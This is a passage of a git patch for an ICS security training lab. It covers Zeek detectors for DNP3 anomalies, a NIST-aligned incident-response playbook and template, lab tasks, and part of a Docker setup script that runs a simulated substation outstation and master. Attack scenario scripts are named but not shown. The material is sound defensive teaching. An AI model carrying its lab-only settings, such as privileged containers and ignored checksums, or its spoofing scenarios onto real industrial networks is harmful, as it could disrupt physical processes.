legitimate link address from the wrong IP. +# Pick the side via is_orig: if is_orig=T the originator IP is c$id$orig_h and +# the link source is `src_addr`. Compare against DNP3Baseline::link_addr_to_ip +# and emit a NOTICE on mismatch. +# +# event dnp3_header_block(c: connection, is_orig: bool, len: count, ctrl: count, +# dest_addr: count, src_addr: count) +# { } diff --git a/OTLab15/scripts/zeek/detectors/unexpected-function-code.zeek b/OTLab15/scripts/zeek/detectors/unexpected-function-code.zeek new file mode 100644 index 0000000..5f96f86 --- /dev/null +++ b/OTLab15/scripts/zeek/detectors/unexpected-function-code.zeek @@ -0,0 +1,24 @@ +##! Notice when DNP3 traffic carries a function code outside +##! DNP3Baseline::expected_func_codes. + +@load ../baseline.zeek + +module DNP3Anomaly; + +export { + redef enum Notice::Type += { Unexpected_Function_Code, }; +} + +# TODO (cycle 2.2): hook BOTH directions — an attacker can probe with weird `fc` +# in requests (DELAY_MEASURE, WRITE, OPERATE, ...) and the outstation's +# responses also carry an `fc` worth checking. Emit a NOTICE when `fc` is +# outside DNP3Baseline::expected_func_codes. +# Note: Zeek's binpac parser may skip unassigned function codes entirely — your +# detector will not see those via this event (see the fingerprint cycle in +# OTLab15.md). +# +# event dnp3_application_request_header(c: connection, is_orig: bool, application: count, fc: count) +# { } +# +# event dnp3_application_response_header(c: connection, is_orig: bool, application: count, fc: count, iin: count) +# { } diff --git a/OTLab15/scripts/zeek/detectors/unknown-endpoint.zeek b/OTLab15/scripts/zeek/detectors/unknown-endpoint.zeek new file mode 100644 index 0000000..9a5e15c --- /dev/null +++ b/OTLab15/scripts/zeek/detectors/unknown-endpoint.zeek @@ -0,0 +1,25 @@ +##! Notice when a DNP3 conversation involves an endpoint outside +##! DNP3Baseline::expected_endpoints. + +@load ../baseline.zeek + +module DNP3Anomaly; + +export { + redef enum Notice::Type += { Unknown_Endpoint, }; + const dnp3_port = 20000/tcp &redef; +} + +# TODO (cycle 2.1): hook dnp3_application_request_header and/or +# dnp3_application_response_header and emit a NOTICE when c$id$orig_h or +# c$id$resp_h is outside DNP3Baseline::expected_endpoints. +# Optional extension: also subscribe to `new_connection` and flag any TCP/20000 +# flow from an unknown source before any DNP3 PDU is parsed (catches `scan`). +# This detector is worked end-to-end in DNP3LabZeekReference.md §3 — use it as +# the template for the others. +# +# event dnp3_application_request_header(c: connection, is_orig: bool, application: count, fc: count) +# { } +# +# event dnp3_application_response_header(c: connection, is_orig: bool, application: count, fc: count, iin: count) +# { } diff --git a/OTLab15/scripts/zeek/local.zeek b/OTLab15/scripts/zeek/local.zeek new file mode 100644 index 0000000..dc7936e --- /dev/null +++ b/OTLab15/scripts/zeek/local.zeek @@ -0,0 +1,23 @@ +##! Site policy for the OTLab15 EWS sensor. +##! +##! Load this from the Zeek command line: +##! zeek -i /opt/zeek-lab/local.zeek +##! +##! It pulls in the stock site policy (so conn.log/dnp3.log/notice.log behave +##! as expected), the baseline allowlists, and every detector you write under +##! detectors/. The detectors ship as skeletons — they will not emit notices +##! until you implement their event handlers and fill DNP3Baseline's constants. + +@load local # stock site policy: conn, dns, ssl, dnp3, notice, ... + +# Docker veth interfaces deliver TCP packets with bad checksums (the host NIC +# computes them after the packet leaves the namespace). Without this, Zeek +# drops the payloads and never parses DNP3. Safe inside the lab; do NOT carry +# this redef into production sensors. +redef ignore_checksums = T; + +@load ./baseline.zeek + +@load ./detectors/unknown-endpoint.zeek +@load ./detectors/unexpected-function-code.zeek +@load ./detectors/link-vs-ip-mismatch.zeek From 989b0117c20e854e048d1c368a53516ec23f544a Mon Sep 17 00:00:00 2001 From: fariasrafael10 Date: Mon, 22 Jun 2026 23:58:15 +0100 Subject: [PATCH 08/11] Add OTLab16: OT Incident Response Lab (scripts and tasks) --- OTLab16/IRPlaybookReference.md | 120 ++++ OTLab16/IR_Template.md | 124 ++++ OTLab16/OTLab16.md | 146 +++++ OTLab16/OTLab16.sh | 559 ++++++++++++++++++ OTLab16/PurdueModelReference.md | 132 +++++ OTLab16/scripts/attacks/_dnp3.py | 140 +++++ OTLab16/scripts/attacks/attack_fingerprint.py | 66 +++ OTLab16/scripts/attacks/attack_scan.sh | 24 + OTLab16/scripts/attacks/attack_spoof.py | 35 ++ OTLab16/scripts/solutions/baseline.zeek | 20 + .../detectors/link-vs-ip-mismatch.zeek | 19 + .../detectors/unexpected-function-code.zeek | 22 + .../solutions/detectors/unknown-endpoint.zeek | 35 ++ OTLab16/scripts/solutions/local.zeek | 11 + 14 files changed, 1453 insertions(+) create mode 100644 OTLab16/IRPlaybookReference.md create mode 100644 OTLab16/IR_Template.md create mode 100644 OTLab16/OTLab16.md create mode 100755 OTLab16/OTLab16.sh create mode 100644 OTLab16/PurdueModelReference.md create mode 100755 OTLab16/scripts/attacks/_dnp3.py create mode 100644 OTLab16/scripts/attacks/attack_fingerprint.py create mode 100755 OTLab16/scripts/attacks/attack_scan.sh create mode 100755 OTLab16/scripts/attacks/attack_spoof.py create mode 100644 OTLab16/scripts/solutions/baseline.zeek create mode 100644 OTLab16/scripts/solutions/detectors/link-vs-ip-mismatch.zeek create mode 100644 OTLab16/scripts/solutions/detectors/unexpected-function-code.zeek create mode 100644 OTLab16/scripts/solutions/detectors/unknown-endpoint.zeek create mode 100644 OTLab16/scripts/solutions/local.zeek diff --git a/OTLab16/IRPlaybookReference.md b/OTLab16/IRPlaybookReference.md new file mode 100644 index 0000000..44638c6 --- /dev/null +++ b/OTLab16/IRPlaybookReference.md @@ -0,0 +1,120 @@ +# IR Playbook Reference — NIST-aligned Incident Response for OT + +> Lookup card for OTLab16. Keep it open in another tab while you work the incident. +> It condenses the NIST incident-response lifecycle, the OT-specific rules of +> engagement, a severity matrix, and the containment/verification recipes used in +> the tasks. Companion file: `PurdueModelReference.md` (architecture). + +--- + +## 1. The lifecycle — NIST SP 800-61r3 / CSF 2.0 + +OTLab16 uses the **Rev 3** framing of *Computer Security Incident Handling*, which +maps the lifecycle onto the **CSF 2.0 functions** instead of the older four-phase +loop. + +| CSF 2.0 function | Role in this lab | When | +|------------------|------------------------------------------------------|----------------------| +| **Govern** | Roles, authority to act, who signs the all-clear | Preparation (before) | +| **Identify** | Asset inventory mapped to Purdue levels (Labs 14/15) | Preparation (before) | +| **Protect** | The OTLab15 detectors/allowlists already in place | Preparation (before) | +| **Detect** | Triage the `notice.log`; declare the incident | During | +| **Respond** | Timeline, containment, eradication | During | +| **Recover** | Restore the monitored process; baseline check | During / after | +| **Improve** | Lessons learned; feed fixes back to the baseline | After | + +> [!NOTE] +> **Relation to SP 800-61r2.** The classic r2 loop — *Preparation → Detection & +> Analysis → Containment, Eradication & Recovery → Post-Incident Activity* — still +> maps cleanly: Preparation = *Govern/Identify/Protect*; Detection & Analysis = +> *Detect*; Containment/Eradication/Recovery = *Respond/Recover*; Post-Incident = +> *Improve*. Use whichever vocabulary your report template expects. + +## 2. What is different about IR in OT (NIST SP 800-82) + +SP 800-82 (*Guide to OT Security*) inverts some IT reflexes. The priority order in +OT is **Safety → Availability → Integrity → Confidentiality** — the mirror image of +the IT C-I-A default. + +- **Do not "pull the plug".** Disconnecting or rebooting a controller can trip a + physical process. Availability of the control loop is itself a safety control. +- **Contain surgically.** Preserve the legitimate process traffic (the + master↔outstation poll) while cutting the adversary. Blanket isolation is an + outage, not a response. +- **Field devices cannot be patched on demand.** Eradication on L0–L1 often means + *cutting reach now* and scheduling the fix for a maintenance window. +- **Coordinate with operations/engineering.** No containment or recovery action + goes ahead without the operations authoriser named during Preparation. +- **Recovery = the process is verified normal**, not merely that the malware is + gone. Telemetry must be back in its known-good range. + +## 3. Severity / escalation matrix (OT-weighted) + +Rank by impact on the **process**, not on data. Pick the highest row that applies. + +| Severity | Safety / Availability impact | Example in this lab | +|--------------|------------------------------------------------------|-----------------------------------------------| +| **Critical** | Manipulation of a field device / breaker plausible | Spoofed control toward the L1 outstation | +| **High** | Adversary has a reachable path into OT (L0–L2) | Attacker traffic crossing the corp→OT conduit | +| **Medium** | Recon/fingerprinting inside OT, no control yet | Unexpected function codes in `dnp3.log` | +| **Low** | Activity confined to IT/L3.5, no OT reach | Scan that never leaves the corp segment | + +## 4. Incident checklist (map to the 7 lab actions) + +- [ ] **Identify** — assets placed on Purdue levels; ops contact named *(Action 1)* +- [ ] **Detect** — `notice.log` triaged; incident declared with scope + Purdue levels *(Action 2)* +- [ ] **Respond** — timeline rebuilt; abused conduit named *(Action 3)* +- [ ] **Respond** — conduit cut surgically; verified poll still flows *(Action 4)* +- [ ] **Respond** — foothold eradicated; initial vector closed *(Action 5)* +- [ ] **Recover** — baseline check passes; ops authorises all-clear *(Action 6)* +- [ ] **Improve** — post-incident report; architecture recommendation *(Action 7)* + +## 5. Containment recipe (surgical, not blanket) + +The legitimate master lives on the **corp** segment (`192.168.21.20`) and its poll +crosses into OT through the dual-homed EWS. So you **cannot** drop corp→OT wholesale +— that kills the process. Drop **only the attacker**, and apply it where the traffic +is actually routed: the **EWS's own `FORWARD` chain** (the EWS is the conduit). The +rule goes at the top so it wins over the forwarding rules: + +```bash +# Applied automatically by ./OTLab16.sh -contain : +docker exec otlab-student iptables -I FORWARD 1 -s 192.168.21.30 -d 192.168.20.0/24 -j DROP +# Lift it with ./OTLab16.sh -restore : +docker exec otlab-student iptables -D FORWARD -s 192.168.21.30 -d 192.168.20.0/24 -j DROP +``` + +> [!NOTE] +> **Why the EWS and not the host?** Every corp↔OT packet is routed by the dual-homed +> EWS (`ip_forward=1`), so its `FORWARD` chain is the real chokepoint — and it behaves +> the same on WSL2, native Linux, and macOS, with no host `sudo`. A DROP in the host +> `DOCKER-USER` chain does **not** work under WSL2: inter-bridge traffic is L2-switched +> and, with `bridge-nf-call-iptables=0` (set so cross-bridge routing works at all), +> never traverses the host netfilter — so such a rule is silently inert. + +> Check the rule is in place and catching packets: +> ```bash +> docker exec otlab-student iptables -L FORWARD -n -v --line-numbers | grep 21.30 +> ``` + +## 6. Verification recipe (Zeek) + +After containment, prove **both** halves of the OT trade-off from the EWS: + +```bash +# (a) Attacker is cut — its IP should no longer appear talking to OT: +cat conn.log | zeek-cut id.orig_h id.resp_h service | sort -u +# -> the 192.168.21.30 -> 192.168.20.10 row is GONE + +# (b) Process still runs — master keeps polling the outstation: +cat dnp3.log | zeek-cut ts id.orig_h id.resp_h fc_request | sort | tail +# -> 192.168.21.20 -> 192.168.20.10 polls continue (~10 s cadence) + +# (c) All-clear — no new notices after restore: +cat notice.log | zeek-cut ts note src 2>/dev/null +# -> empty / no new rows +``` + +All-clear (Action 6) is signed off only when: clean `notice.log`, endpoints and +function codes inside the OTLab14 allowlists, and telemetry in range +(**110–130 V**, **0.5–15 A**, breaker toggling on its ~100 s cadence). diff --git a/OTLab16/IR_Template.md b/OTLab16/IR_Template.md new file mode 100644 index 0000000..a4c354a --- /dev/null +++ b/OTLab16/IR_Template.md @@ -0,0 +1,124 @@ +# Incident Response Template + +## Artifact 1 — Incident Timeline / Running Log + + +| # | Timestamp (UTC) | Actor (attacker / responder / system) | Purdue level | Action or observation | Evidence ref | +|---|-----------------|---------------------------------------|--------------|-----------------------|--------------| +| 1 | | | | | | +| 2 | | | | | | +| 3 | | | | | | +| 4 | | | | | | +| 5 | | | | | | +| … | | | | | | + +## Artifact 2 — Containment Decision Record (CDR) + +**Decision required (one line):** + + + +**Time decision was made (UTC):** `___` **Decision owner:** `___` + + + +### Options considered + +| Option | What it does | Safety impact | Availability impact (does the feeder keep running?) | Security effect | +|--------|--------------|---------------|-----------------------------------------------------|-----------------| +| | | | | | +| | | | | | +| | | | | | + +### Operational coordination + +**Operations contact / authoriser:** `___` **Authorised? (Y/N):** `___` + +### Decision and rationale + + + + + +### Reversibility & rollback + + + + +### Post-action verification + +| Verification check | Method / command | Evidence ref | Result (PASS/FAIL) | +|--------------------|------------------|--------------|--------------------| + + + + + +--- + +## Artifact 3 — Incident Report (capstone) + +**Incident ID:** `___` **Date/time opened (UTC):** `___` **Closed (UTC):** `___` +**Handler:** `___` **Classification:** `___` **Severity:** `___` **Current status:** `___` + + + +### 1. Executive summary + + + + +### 2. Scope (in Purdue terms) + + + + + + +### 3. Timeline summary + + + +### 4. Root cause + + + +### 5. Attacker actions and IOCs + +| Attacker action | OTLab15 scenario | MITRE ATT&CK ICS technique | IOC for a SIEM rule | +|-----------------|------------------|----------------------------|---------------------| +| | | | | +| | | | | + + + +### 6. Response actions taken + +| Response action | CSF 2.0 function (Detect/Respond/Recover) | Evidence ref | +|-----------------|-------------------------------------------|--------------| +| | | | +| | | | + + + +### 7. What was deliberately NOT done, and why + + + + + + + +### 8. Recovery & all-clear sign-off + +| Recovery criterion | Expected | Observed | Result | +|--------------------|----------|----------|--------| + + + + +**All-clear authorised by (operations):** `___` **Time (UTC):** `___` + + + +### 9. Lessons learned & recommendations diff --git a/OTLab16/OTLab16.md b/OTLab16/OTLab16.md new file mode 100644 index 0000000..098e088 --- /dev/null +++ b/OTLab16/OTLab16.md @@ -0,0 +1,146 @@ +# OTLab16 — DNP3 + Incident Response Lab + +![](https://raw.githubusercontent.com/substationworm/OTLab/main/OTLab-SecondHeader.png "OTLab16 — DNP3 + Incident Response Lab") + +[![Curriculum Lattes](https://img.shields.io/badge/Lattes-white)](http://lattes.cnpq.br/8846358506427099) +[![ORCID](https://img.shields.io/badge/ORCID-grey)](https://orcid.org/0000-0002-6254-7306) +[![SciProfiles](https://img.shields.io/badge/SciProfiles-black)](https://sciprofiles.com/profile/lffreitas-gutierres) +[![Scopus](https://img.shields.io/badge/Scopus-white)](https://www.scopus.com/authid/detail.uri?authorId=57195542368) +[![Web of Science](https://img.shields.io/badge/ResearcherID-grey)](https://www.webofscience.com/wos/author/record/Q-8444-2016) +[![substationworm](https://img.shields.io/badge/substationworm-black)](https://github.com/substationworm) +[![LFFreitasGutierres](https://img.shields.io/badge/LFFreitasGutierres-white)](https://github.com/LFFreitas-Gutierres) + +[![GitHub fariasrafael10](https://img.shields.io/badge/GitHub-fariasrafael10-black)](https://github.com/fariasrafael10) +[![LinkedIn Farias Rafael](https://img.shields.io/badge/LinkedIn-Farias_Rafael-blue)](https://www.linkedin.com/in/farias-rafael/) +[![IPLeiria ESTG-DEI](https://img.shields.io/badge/IPLeiria-ESTG--DEI-green)](https://www.ipleiria.pt/estg-dei/) + +## Scenario + +This is the **third and final lab** in the substation story. In OTLab14 you read DNP3 off the wire with Wireshark and wrote down the baseline. In OTLab15 you turned that baseline into Zeek allowlists and built behavioural detectors — and the last thing you produced was a `notice.log` and a one-page incident summary. + +**This time the alarm is real.** The `notice.log` is no longer a classroom artefact: it is the **detection that opens a live incident**. The intrusion that started when **Maria from Finance** plugged in the parking-lot USB has worked its way through the corporate segment and is now probing — and spoofing — into OT, where a real feeder breaker can be flipped. You stop being the detection engineer and become the **incident responder**. + +You will work the incident through the **[NIST SP 800-61r3](https://csrc.nist.gov/pubs/sp/800/61/r3/final)** lifecycle, expressed as the **[CSF 2.0](https://csrc.nist.gov/pubs/cswp/29/the-nist-cybersecurity-framework-csf-20/final) functions**: *Govern · Identify · Protect* as **Preparation**, then *Detect · Respond · Recover* as the live **Incident Response**, closing with *Improve*. For the OT angle you will lean on **[NIST SP 800-82](https://csrc.nist.gov/pubs/sp/800/82/r3/final)** (Guide to OT Security). + +The single most important lesson of this lab: **in OT, incident response is not "pull the plug".** There are *safety* and *availability* to protect — the legitimate master↔outstation polling **must keep running** while you eject the attacker. That trade-off is what makes OT IR different from IT IR, and it is the thread that runs through every task below. + +> [!NOTE] +> **The OTLab15 deliverable is the input here.** Keep your OTLab15 `notice.log` and one-page incident summary open — they are what *triggers* this incident. Keep the OTLab14 baseline open too (endpoints, function codes, value ranges); you will use it again to declare the all-clear. + +> [!NOTE] +> Two companions live in this lab's directory. `IRPlaybookReference.md` summarises the [NIST SP 800-61r3](https://csrc.nist.gov/pubs/sp/800/61/r3/final) / [800-82](https://csrc.nist.gov/pubs/sp/800/82/r3/final) lifecycle, the OT severity matrix, and the containment/verification recipes. `PurdueModelReference.md` is the visual heart of the lab — the *current (insecure)* vs *target (hardened)* architecture. Record your work in `IR_Template.md` (three artefacts: running log, containment decision record, incident report). + +## 📝 Tasks + +> [!WARNING] +> All tasks are conducted inside the lab containers. **Do not run any attack scenario, scanner, or containment rule against hosts outside this lab.** `-incident` emits real, valid DNP3 PDUs and `-contain` edits host firewall rules; pointed at production gear they can disrupt real industrial processes. + +The seven actions below are each tagged with its CSF 2.0 function and the Purdue overlay it exercises. + +### Preparation — `Govern` · `Identify` *(optional, do once)* + +- [ ] **Action 1 — Map the estate to Purdue, before the incident.** Bring the lab up with `./OTLab16.sh -start` and `-status` (the four OTLab15 containers return). Using `PurdueModelReference.md`, place every host from Labs 14/15 on a Purdue level and write it into the header of **Artifact 1** (running log). Name the **operations contact / authoriser** now — the person you must call before you cut anything. + - *Hint: the outstation/RTU is L`{x}`, the master is L`{x}`, the EWS is the L`{x.x}` boundary host, and the breaker is L`{x}`. The IR plan must name an ops contact `{before|after}` the incident, not during it.* + +### Detect + +> [!NOTE] +> **Open the incident live — start the sensor first.** The EWS only records the attack if Zeek is already capturing when it lands. Enter the EWS with `./OTLab16.sh -run`, find its interfaces with `ip -br a`, then start the ready policy in a working directory and leave it running: +> ``` +> mkdir -p ~/ir && cd ~/ir +> zeek -i /opt/zeek-lab/local.zeek +> ``` +> The OT-facing link (`192.168.20.100`) is the one that carries the spoof down to L1. With Zeek capturing, open a **second terminal on the host** and fire the kill-chain: +> ``` +> ./OTLab16.sh -incident +> ``` +> When it finishes, stop Zeek with `Ctrl+C`; `conn.log`, `dnp3.log` and `notice.log` are waiting in `~/ir` — that is the detection that opens this incident. *(Rather reuse the `notice.log` you produced in OTLab15? Skip `-incident` and point the triage below at that file instead.)* + +- [ ] **Action 2 — Triage and declare.** Open the `notice.log` you just generated with `-incident` (or reuse your OTLab15 one). Decide: real incident or false positive? Justify with `conn.log`/`dnp3.log` evidence. Then **declare the incident** — state the scope and **which Purdue level(s) are affected**. In OT the question is not "what data leaked" but **what process is at risk**. + - *Hint: a single spoofed READ that reaches the L`{x}` outstation is more serious than a noisy scan that never leaves L`{x.x}`. Focus on process impact vs data breached.* + +### Respond + +- [ ] **Action 3 — Rebuild the timeline and name the conduit.** From the Zeek logs reconstruct an ordered incident timeline (`ts`, source, technique, CSF function) into **Artifact 1**. Identify the **conduit** the attacker is abusing — describe it in Purdue terms. + - *Hint: `cat notice.log | zeek-cut -u ts note src id.resp_h | sort` drafts the timeline — the `-u` flag renders `ts` as a human-readable UTC timestamp instead of the raw epoch (use `-d` for local time). The abused conduit is the path L`{x.x}`→L`{x}` that the dual-homed EWS bridges — the same one the legitimate master poll uses, which is exactly why you cannot simply block all of it.* + +- [ ] **Action 4 — Cut the conduit (isolate, do not shut down).** Run `./OTLab16.sh -contain`. It applies the reference segmentation: a **surgical DROP** of the attacker host into OT, while the sanctioned master→outstation poll keeps flowing. **Verify with Zeek**: the attacker's flows stop *and* `dnp3.log` shows polling continuing within the OTLab14 ranges. Record the decision, the reversibility, and the post-action checks in **Artifact 2** (Containment Decision Record). + - *Hint: containment inserts `DROP -s {xxx.xxx.xx.xx} -d 192.168.20.0/24` at the top of the EWS `FORWARD` chain — the dual-homed EWS routes all corp↔OT traffic, so its `FORWARD` chain is the real chokepoint. Isolate vs shutdown: the feeder must keep being polled. Confirm with `cat conn.log | zeek-cut id.orig_h id.resp_h service | sort -u` — the `{attacker IP}` row is gone, the `{master IP}` row remains.* + +- [ ] **Action 5 — Eradicate the foothold.** Remove the attacker's foothold on the compromised corporate PC and close the initial vector (the USB / the EWS IP-forwarding that let corp reach OT). Note in your log **what you could not patch on demand** and why. + - *Hint: field devices (the L`{x}` outstation/RTU) can't be patched or rebooted on demand mid-incident — eradication in OT often means cutting reach and scheduling the fix for a maintenance window, not a live reboot.* + +### Recover + +- [ ] **Action 6 — Run the baseline check (process verified, not just threat gone).** Run `./OTLab16.sh -restore` to return to the clean monitored state, then re-run your Zeek baseline. Recovery is signed off **only** when: `notice.log` shows no new alerts, the endpoints/function codes match the OTLab14 allowlists, and the outstation telemetry is back in range (voltage `{xxx–xxx}` V, current `{x.x–xx}` A). + - *Hint: "recover" means the **process** is verified normal, not merely that the attacker is gone. Get the ops contact from Action 1 to authorise the all-clear in Artifact 3.* + +### Recover · Improve + +- [ ] **Action 7 — Write the post-incident report.** Complete **Artifact 3** (Incident Report): executive summary, scope in Purdue terms, timeline summary, **root cause**, attacker actions mapped to **MITRE ATT&CK for ICS**, IOCs you would turn into SIEM rules, response actions tagged by CSF function, what you deliberately did **not** do and why, recovery sign-off, and lessons learned. Your top recommendation should feed back into the architecture: introduce the **IDMZ / segmentation** from `PurdueModelReference.md` so this conduit cannot be abused again. **This document closes the OTLab14/15/16 trilogy.** + - *Hint: root cause is not "the USB" alone — it is `{USB}` + `{flat IT/OT}` + `{dual-homed EWS with no DMZ}`. The fix that prevents recurrence is the **target** Purdue architecture, which ties Recover back to Improve.* + +## 🎯 Skills + +**Hands-on:** Incident Triage · Log Forensics (Zeek) · Network Containment · OT Architecture Hardening + +**Applying [MITRE ATT&CK for ICS](https://attack.mitre.org/matrices/ics/) — Mitigations:** + +[![M0930 Network Segmentation](https://img.shields.io/badge/ATT%26CK_ICS-M0930_Network_Segmentation-blue)](https://attack.mitre.org/mitigations/M0930/) +[![M0937 Filter Network Traffic](https://img.shields.io/badge/ATT%26CK_ICS-M0937_Filter_Network_Traffic-blue)](https://attack.mitre.org/mitigations/M0937/) +[![M0931 Network Intrusion Prevention](https://img.shields.io/badge/ATT%26CK_ICS-M0931_Network_Intrusion_Prevention-blue)](https://attack.mitre.org/mitigations/M0931/) + +**Mapped to the [NIST SP 800-61r3](https://csrc.nist.gov/pubs/sp/800/61/r3/final) incident-response lifecycle ([CSF 2.0](https://csrc.nist.gov/pubs/cswp/29/the-nist-cybersecurity-framework-csf-20/final) functions):** the seven actions move through *Govern/Identify* (Preparation) → *Detect* → *Respond* → *Recover/Improve*. + +## 🔖 Nomenclature + +- ATT&CK for ICS: MITRE's adversary-behaviour knowledge base for industrial control systems; *Mitigations* are the defensive counterparts of *Techniques*. +- conduit: in the Purdue/IEC 62443 sense, the controlled communication path between two security zones. +- CSF: [NIST Cybersecurity Framework](https://csrc.nist.gov/pubs/cswp/29/the-nist-cybersecurity-framework-csf-20/final); version 2.0 organises work into the functions *Govern, Identify, Protect, Detect, Respond, Recover*. +- CSIRT: Computer Security Incident Response Team. +- DNP3: Distributed Network Protocol version 3 — SCADA protocol widely used in electric, water, and oil & gas utilities. +- EWS: Engineering workstation — the host operated by control engineers to configure, program, and monitor field devices. +- ICS: Industrial control system. +- IDMZ: Industrial Demilitarised Zone — the Purdue Level 3.5 buffer that brokers all IT↔OT traffic. +- IOC: Indicator of compromise — an observable network or host artefact that suggests an intrusion. +- IR / IRP: Incident response / incident response plan. +- NSM: Network security monitoring — passive observation of traffic; Zeek is an NSM tool. +- OT: Operational technology. +- PERA / Purdue: Purdue Enterprise Reference Architecture — the layered (L0–L5) reference model for ICS network segmentation. +- RTO / RPO: Recovery time objective / recovery point objective. +- RTU: Remote terminal unit — the field device role typically played by a DNP3 outstation. +- SCADA: Supervisory control and data acquisition. +- [SP 800-61](https://csrc.nist.gov/pubs/sp/800/61/r3/final) / [SP 800-82](https://csrc.nist.gov/pubs/sp/800/82/r3/final): NIST guides for incident handling and for OT security, respectively. + +## 🛠️ Usage + +``` +Usage: ./OTLab16.sh -start [kali|ubuntu] | -stop | -clean | -run | -restart | -status + | -attack | -incident | -contain | -restore + + -start Start the DNP3_IR environment using the specified distro (default: ubuntu) + Valid options: kali (rolling) or ubuntu (22.04) + -run Open a terminal inside the otlab-student (EWS) container + -clean Remove containers, volumes, and network (reverts all iptables rules) + -stop Stop all containers + -restart Restart previously stopped containers + -status Show current containers status + -attack Fire a single controlled attack scenario (scan | fingerprint | spoof) + -incident Replay the full kill-chain (scan → fingerprint → spoof) to open the incident + -contain Apply the reference containment: surgical DROP of the attacker into OT, + preserving the legitimate master→outstation poll + -restore Lift containment and return to the clean monitored state +``` + +> [!NOTE] +> When run on **WSL2**, the script auto-detects the environment and applies the kernel-level rules (`bridge-nf-call-iptables=0` and two `DOCKER-USER` ACCEPT rules) needed for traffic to be routed across the two Docker bridges. `-contain` then applies its surgical `DROP` in the **EWS's own `FORWARD` chain** (via `docker exec`, no host `sudo`), and `-restore` removes it — a host `DOCKER-USER` rule would be silently inert under WSL2, since cross-bridge traffic is L2-switched. The cross-bridge `ACCEPT` rules require `sudo` and are reverted on `-clean`. On native Linux and macOS Docker Desktop the cross-bridge rules are skipped — see `IRPlaybookReference.md` for the containment details. + +--- + +## Solutions + +This lab is **operational, not code-to-fill**: the student drives the incident through the `OTLab16.sh` verbs and records reasoning in `IR_Template.md`. The instructor key is the expected content of the three artefacts plus the reference containment: + +- **Containment (reference):** a single surgical drop in the EWS `FORWARD` chain — `docker exec otlab-student iptables -I FORWARD 1 -s 192.168.21.30 -d 192.168.20.0/24 -j DROP` — inserted at the top so it wins over the forwarding rules. The master (192.168.21.20) keeps polling the outstation (192.168.20.10); only the attacker (192.168.21.30) loses its path into OT. This is what `-contain` applies and `-restore` removes. +- **Baseline check (all-clear criteria):** clean `notice.log`, endpoints and function codes back inside the OTLab14 allowlists, and telemetry in range (110–130 V, 0.5–15 A) with the breaker toggling on its ~100 s cadence. +- **Root cause:** USB-borne malware **+** flat IT/OT with no segmentation **+** dual-homed EWS bridging the two segments with no IDMZ. The recommended fix is the *target* architecture in `PurdueModelReference.md`. diff --git a/OTLab16/OTLab16.sh b/OTLab16/OTLab16.sh new file mode 100755 index 0000000..907c327 --- /dev/null +++ b/OTLab16/OTLab16.sh @@ -0,0 +1,559 @@ +#!/bin/bash + +# ---------------------------------------- + +lab_name="DNP3_IR" +compose_file="${lab_name}.yml" + +ot_container_name01="dnp3-outstation" +ot_container_name02="dnp3-master" +ews_container_name="otlab-student" +attacker_container_name="dnp3-attacker" + +kali_image="kalilinux/kali-rolling" +ubuntu_image="ubuntu:22.04" + +lab_net01="dnp3-ot-net" +lab_net02="dnp3-corp-net" + +attacks_host_dir="./scripts/attacks" +zeek_host_dir="./scripts/solutions" + +attack_scenarios=(scan fingerprint spoof) + + +ot_subnet="192.168.20.0/24" +outstation_ip="192.168.20.10" +master_ip="192.168.21.20" +attacker_ip="192.168.21.30" + +# ---------------------------------------- +# Banner +show_banner() { + printf "\033[1;33m" + echo " _____ _____ __ _ ___ " + echo "| |_ _| | ___| |_|_ | " + echo "| | | | | | |__| .'| . | _| " + echo "|_____| |_| |_____|__,|___|___| " + printf "\033[1;37m" + printf "Exercise: DNP3 + Incident Response\n" + printf "Version: 0.1\n" + printf "Author: rafaelfarias\n" + printf "\033[0m" + echo "" +} + +# ---------------------------------------- +# Verify the script tree before bringing the compose up. +check_script_layout() { + local missing=0 + if [ ! -d "$attacks_host_dir" ]; then + printf "\033[31m[Error]\033[0m Missing attack scripts directory: %s\n" "$attacks_host_dir" + missing=1 + fi + if [ ! -d "$zeek_host_dir" ]; then + printf "\033[31m[Error]\033[0m Missing Zeek scripts directory: %s\n" "$zeek_host_dir" + missing=1 + fi + if [ "$missing" -eq 1 ]; then + printf "\033[31m✘ Lab tree incomplete. Run this script from the OTLab16/ directory.\033[0m\n" + exit 1 + fi +} + +# ---------------------------------------- + +generate_compose_file() { + local ews_image="$1" + + cat > "$compose_file" < + bash -c ' + apt update && + apt install -y python3 python3-pip iproute2 && + pip install dnp3-python && + ip route add 192.168.21.0/24 via 192.168.20.100 && + printf "%s\n" \ +"from dnp3_python.dnp3station.outstation import MyOutStation" \ +"from pydnp3 import opendnp3" \ +"import time" \ +"import random" \ +"" \ +"print(\"[OUTSTATION] Initializing DNP3 outstation on port 20000...\")" \ +"outstation = MyOutStation(" \ +" outstation_ip=\"0.0.0.0\"," \ +" port=20000," \ +" master_id=2," \ +" outstation_id=1" \ +")" \ +"outstation.start()" \ +"print(\"[OUTSTATION] Running. Waiting for master connections...\")" \ +"" \ +"i = 0" \ +"while True:" \ +" voltage = round(random.uniform(110.0, 130.0), 2)" \ +" current = round(random.uniform(0.5, 15.0), 2)" \ +" breaker_open = bool(i % 20 == 0)" \ +" outstation.apply_update(opendnp3.Analog(value=voltage), 0)" \ +" outstation.apply_update(opendnp3.Analog(value=current), 1)" \ +" outstation.apply_update(opendnp3.Binary(value=breaker_open), 0)" \ +" print(f\"[OUTSTATION] Update #{i}: Voltage={voltage}V, Current={current}A, BreakerOpen={breaker_open}\")" \ +" i += 1" \ +" time.sleep(5)" \ +> /outstation.py && + python3 /outstation.py' + ports: + - "20000:20000" + + $ot_container_name02: + image: $ubuntu_image + container_name: $ot_container_name02 + hostname: $ot_container_name02 + mac_address: 00:1C:06:D3:01:02 + networks: + $lab_net02: + ipv4_address: 192.168.21.20 + cap_add: + - NET_ADMIN + - NET_RAW + privileged: true + command: > + bash -c ' + apt update && + apt install -y python3 python3-pip netcat-openbsd iproute2 && + pip install dnp3-python && + ip route replace default via 192.168.21.100 && + printf "%s\n" \ +"from dnp3_python.dnp3station.master import MyMaster" \ +"from pydnp3 import opendnp3" \ +"import time" \ +"" \ +"print(\"[MASTER] Initializing DNP3 master...\")" \ +"master = MyMaster(" \ +" master_ip=\"0.0.0.0\"," \ +" outstation_ip=\"192.168.20.10\"," \ +" port=20000," \ +" master_id=2," \ +" outstation_id=1" \ +")" \ +"master.start()" \ +"print(\"[MASTER] Connected to outstation at 192.168.20.10:20000\")" \ +"" \ +"while True:" \ +" try:" \ +" analog_data = master.get_db_by_group_variation(group=30, variation=6)" \ +" binary_data = master.get_db_by_group_variation(group=1, variation=2)" \ +" print(f\"[MASTER] Analog readings: {analog_data}\")" \ 